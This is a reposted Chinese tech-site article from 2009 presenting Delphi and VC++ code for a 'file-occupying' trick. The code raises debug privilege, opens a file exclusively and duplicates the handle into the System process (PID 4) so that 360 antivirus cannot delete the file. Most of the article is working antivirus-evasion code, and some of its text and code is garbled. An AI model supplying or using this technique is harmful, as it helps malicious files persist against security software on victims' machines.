当前位置:七道奇文章资讯安全技术网络技术
日期:2009-06-14 18:07:00  来源:本站整理

文件占坑法过360查杀![网络技术]

赞助商链接



  本文“文件占坑法过360查杀![网络技术]”是由七道奇为您精心收集,来源于网络转载,文章版权归文章作者所有,本站不对其观点以及内容做任何评价,请读者自行判断,以下是其具体内容:
原理是以独占的方法翻开文件,再把文件句柄复制到另一个程序中去,到达本程序退出后目标文件仍被翻开的目的 

这是delphi代码: 

program createfile; 
uses 
  hack58.net/" target=_blank>Windows, SysUtils; 
//提权函数 
procedure SetPrivilege; 
var 
  TPPrev, TP: TTokenPrivileges; 
  TokenHandle: THandle; 
  dwRetLen: DWORD; 
  lpLuid: TLargeInteger; 
begin 
  OpenProcessToken(GetCurrentProcess, TOKEN_ALL_ACCESS, TokenHandle); 
  if (LookupPrivilegeValue(nil, ’SeDebugPrivilege’, lpLuid)) then 
  begin 
    TP.PrivilegeCount := 1; 
    TP.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED; 
    TP.Privileges[0].Luid := lpLuid; 
    AdjustTokenPrivileges(TokenHandle, False, TP, SizeOf(TPPrev), TPPrev, dwRetLen); 
  end; 
  CloseHandle(TokenHandle); 
end; 
procedure OccupyFile(lpFileName: string); 
var 
  hProcess, hFile, hTargetHandle: thandle; 
begin 
 //翻开一个pid为4的进程,只如果存在的进程,都可以 
  hProcess := OpenProcess(PROCESS_DUP_HANDLE, FALSE, 4); 
  if (hProcess = 0) then exit; 
  //以独占情势翻开目标文件 
  hFile := CreateFileA(PChar(lpFileName), GENERIC_READ, 0, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); 
  if (hFile = INVALID_HANDLE_VALUE) then 
  begin 
    CloseHandle(hProcess); 
    exit; 
  end; 
  //把文件句柄复制到pid=4的进程中去,这样,只要pid=4的进程不退出,谁也动不了目标文件 
  DuplicateHandle(GetCurrentProcess(), hFile, hProcess, @hTargetHandle, 0, FALSE, DUPLICATE_SAME_ACCESS or DUPLICATE_CLOSE_SOURCE); 
  CloseHandle(hProcess);   
end; 
begin 
  SetPrivilege; 
  OccupyFile(’D:\Program Files\工具软件\任务管理.exe’);//这是要保护的程序名 
end. 
















以下是vc6.0代码 
//VC-ConsoleWithApi 
#include  

//提权函数 
void RaiseToDebugP() 

HANDLE hToken; 
HANDLE hProcess = GetCurrentProcess(); 
if ( OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken) ) 

  TOKEN_PRIVILEGES tkp; 
  if ( LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tkp.Privileges[0].Luid) ) 
  { 
   tkp.PrivilegeCount = 1; 
   tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 
    
   BOOL bREt = AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, NULL, 0) ; 
  } 
  CloseHandle(hToken); 
}     

  BOOL OccupyFile( LPCTSTR lpFileName ) 
  { 
      BOOL    bRet; 
      //晋升自身权限 
      RaiseToDebugP(); 
   //翻开一个pid为4的进程,只如果存在的进程,都可以 
   HANDLE hProcess = OpenProcess( PROCESS_DUP_HANDLE, FALSE, 4);    // 4为system进程号 
    
      if ( hProcess == NULL ) 
      {           
    return FALSE; 
      } 
    
      HANDLE hFile; 
      HANDLE hTargetHandle; 
   //以独占情势翻开目标文件 
   hFile = CreateFile( lpFileName, GENERIC_READ, 0, NULL, OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL, NULL);     
    
    
      if ( hFile == INVALID_HANDLE_VALUE ) 
      { 
          CloseHandle( hProcess ); 
          return FALSE; 
      } 
    
   //把文件句柄复制到pid=4的进程中去,这样,只要pid=4的进程不退出,谁也动不了目标文件 
  bRet = DuplicateHandle( GetCurrentProcess(), hFile, hProcess, &hTargetHandle,  
          0, FALSE, DUPLICATE_SAME_ACCESS|DUPLICATE_CLOSE_SOURCE); 
    
      CloseHandle( hProcess ); 
    
      return bRet; 
  } 
   
   
  //进口函数 
  int main() 
  { 
      OccupyFile("D:\\Program Files\\工具软件\\任务管理.exe"); 
    
      return 0; 
  } 

  以上是“文件占坑法过360查杀![网络技术]”的内容,如果你对以上该文章内容感兴趣,你可以看看七道奇为您推荐以下文章:
  • 文件占坑法过360查杀!
  • 本文地址: 与您的QQ/BBS好友分享!
    • 好的评价 如果您觉得此文章好,就请您
        0%(0)
    • 差的评价 如果您觉得此文章差,就请您
        0%(0)

    文章评论评论内容只代表网友观点,与本站立场无关!

       评论摘要(共 0 条,得分 0 分,平均 0 分) 查看完整评论
    Copyright © 2020-2022 www.xiamiku.com. All Rights Reserved .